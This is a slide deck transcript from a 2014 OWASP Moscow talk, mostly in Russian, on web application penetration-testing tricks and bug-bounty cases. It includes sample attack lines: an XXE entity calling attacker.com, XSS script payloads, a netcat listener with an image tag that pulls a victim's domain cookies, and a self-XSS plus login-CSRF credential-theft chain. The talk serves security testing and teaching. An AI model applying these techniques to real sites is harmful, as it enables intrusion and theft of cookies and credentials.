61
Трюки при анализе защищенности веб-приложений - продвинутая версия Сергей Белов Digital Security OWASP Moscow, 6 Dec 2014

[1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Embed Size (px)

Citation preview

Page 1: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Трюки при анализе защищенности веб-приложений - продвинутая версия

Сергей Белов

Digital Security

OWASP Moscow, 6 Dec 2014

Page 2: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Work/Activity BugHuting Speaker

Hey

2

Page 3: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XXE/SSRF detection via DNS

Page 4: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XXE/SSRF detection via DNS

SSRF:

1) Предложить сайт

<ссылка на сайт>

2) Бот проверяет сайт

3) Вместо внешнего сайта подставляется локальный адрес / заменяется схема (file:///)

Page 5: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XXE/SSRF detection via DNS

XXE:

1) XML

<?xml version="1.0" encoding="ISO-8859-1"?>

2) С сущностью

<!ENTITY xxe SYSTEM «http://attacker.com» >]>

3) Парсер пытается подгрузить сущность с внешнего сайта

Page 6: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XXE/SSRF detection via DNS

Сложности при поиске:

1) Есть или нет?

2) Время запроса

3) Firewall

4) Другие ограничения

Page 7: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XXE/SSRF detection via DNS

DNS leak

DNS server

Page 8: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XXE/SSRF detection via DNS

В ссылке есть домен

->

должен быть resolve домена

Page 9: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XXE/SSRF detection via DNS

Инструкция

1) Свой сервер (VPS) – 12.34.56.78

1) Ставим attacker.com свои NS сервера

NS1: 12.34.56.78; NS2: 12.34.56.78

2) dnschef

3) python dnschef.py -i 0.0.0.0

Page 10: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XXE/SSRF detection via DNS

Реальный пример

Говорят – переходит по ссылкам в чате...

Page 11: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XXE/SSRF detection via DNS

Сценарий 1

1) User 1 -> User 2 http://skype-example.com

2) # cat access.log | grep “skype-example” | wc –l

3) 0

Page 12: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XXE/SSRF detection via DNS

Сценарий 2 – DNS

Поймали :]

Page 13: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

CSP bypass – js as image

Page 14: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

CSP bypass – js as image

Page 15: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

CSP bypass – js as image

Картинка == js файл Gif injector - http://pastebin.com/6yUbfGX5

Page 16: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

CSP bypass – js as image

1) Возможность загружать файлы на разрешенные домены в CSP

2) Загрузить картинку<->js и сделать инклуд

<script src=“.../image.gif”></script>

Свежие хромы научились блочить подобное

Page 17: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

CloudFlare – real IP detection

Page 18: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

CloudFlare – real IP detection

Page 19: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

CloudFlare – real IP detection

Page 20: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

CloudFlare – real IP detection

CloudFlare Free, Pro and Business plan:

We do not proxy wildcard records

CloudFlare Enterprise:

For CloudFlare Enterprise customers, we do proxy wildcard records

Page 21: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

CloudFlare – real IP detection

ping randoOm.victim.com => REAL IP

Page 22: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XSS && urlencode

Page 23: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XSS & urlencode

Web Server ?xss=<script>alert(1)</script>

Page 24: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XSS & urlencode

1) Не все web серверы выполняют urldecode

2) XSS подставляется, но после urlencode

3) XSS не выполняется

4) На помощь приходит... IE!

Page 25: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XSS & urlencode

Только после знака вопроса

Page 26: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XSS & urlencode

А если...

http://domain.com/path/<xss_here>/etc/

Page 27: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XSS & urlencode

http://domain.com/path/<xss>/etc/

IE Only (v11 inc):

header("Location: http://domain.com/path/<xss>/etc/");

Page 28: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

XSS & urlencode

Page 29: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

SQLmap

Page 30: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

SQLmap

Page 31: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

SQLmap

-u http://vuln.com/vote.php

--data="id=1&hash=2“

--eval="import hashlib;hash=hashlib.md5(‘123$id456').hexdigest()"

Page 32: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Сложных ситуации - bugbounty

Page 33: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #1 – Same Site Scripting

XXXYYYZZZ.target.com => 127.0.0.1

What’s wrong?

Page 34: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #1 – Same Site Scripting

Page 35: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #1 – Same Site Scripting

External IP – 12.34.56.78 Loopback – 127.0.0.1

Page 36: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #1 – Same Site Scripting

Attacker: 1) nc –lv 10024 2) email to [email protected] with <img src = http://xxyyzz.target.com:10024 > Victim: 1) Open email and... 2) Load image with *.target.com cookies! (that’s is why important to know howto correctly set cookies - http://habrahabr.ru/post/143276/)

Page 37: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #1 – Same Site Scripting

http://localhost.domain.com:631/<SCRIPT>XSS</SCRIPT>.shtml

Page 38: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #1 – Same Site Scripting

38

XXXYYYZZZ.target.com => 10.0.0.22

http://lab.onsec.ru/2013/07/insecure-dns-records-in-top-web-projects.html

Page 39: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #1 – Same Site Scripting

39

https://hackerone.com/reports/1509 - $100

Page 40: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #2 – Self XSS

Page 41: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #2 – Self XSS

XSS only for you – no impact?

Page 42: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #2 – Self XSS

Page 43: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #2 – Self XSS

Requirements: 1)CSRF for logout O_o 2)CSRF for login o_O

Page 44: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #2 – Self XSS

Steps:

1) Save (self)XSS for you 2) Logout victim 3) Login victim w/ your creds 4) Draw window

5) Catch user’s creds!

Page 45: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #2 – Self XSS

Google and self-XSS

Page 46: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #2 – Self XSS

Share account and attack your victim

Page 47: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #3 – evil HTTP referers

Page 48: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #3 - HTTP referer

<a href=“http://external.com”>Go!</a> In request headers: ... Referer: http://yoursite.com/ ... But what about external resources on web page such as images, styles...?

Page 50: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #3 - HTTP referer

https://hackerone.com/reports/738 - $100

Page 51: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #5 - Content-Security-Policy

Page 52: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #5 - Content-Security-Policy

Page 53: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #5 - Content-Security-Policy

CSP only for some browsers! Is it ok?

Page 54: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #5 - Content-Security-Policy

1) Forks with diff UA 2) Proxy cache 3) Load balancer...

Bug hunter got $100, but...

Page 55: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #5 - Content-Security-Policy

Fail! Why: • ‘Partial support in Internet Explorer 10-11 refers to the

browser only supporting the 'sandbox' directive by using the 'X-Content-Security-Policy' header.

• Partial support in iOS Safari 5.0-5.1 refers to the browser recognizing the X-Webkit-CSP header but failing to handle complex cases correctly, often resulting in broken pages.

• Chrome for iOS fails to render pages without a connect-src 'self' policy.

• Old FF problems (some versions between XX and YY)

Page 56: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #6 - Usernames

Page 57: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #6 - Usernames

http://website.com/username

Page 58: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situation #6 - Usernames

Okay! Let’s register: http://website.com/robots.txt

http://website.com/sitemap.xml ...

Page 59: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situations XXX

Page 60: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Situations XXX

• Info disclose via CSS files (full path disclosure while compilation - file\:\/\/\/applications\/hackerone\/releases\/20140221175929\/app\/assets\/stylesheets\/application\/browser-not-supported\.scss (bug #2221)

• SPF and same records • Short tokens • Pixel flood attack • CSRF for login/logout!? (hi Michal Zalewski!) • ... - https://hackerone.com/security?show_all=true

Page 61: [1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - Сергей Белов

Thanks! Questions?

@sergeybelove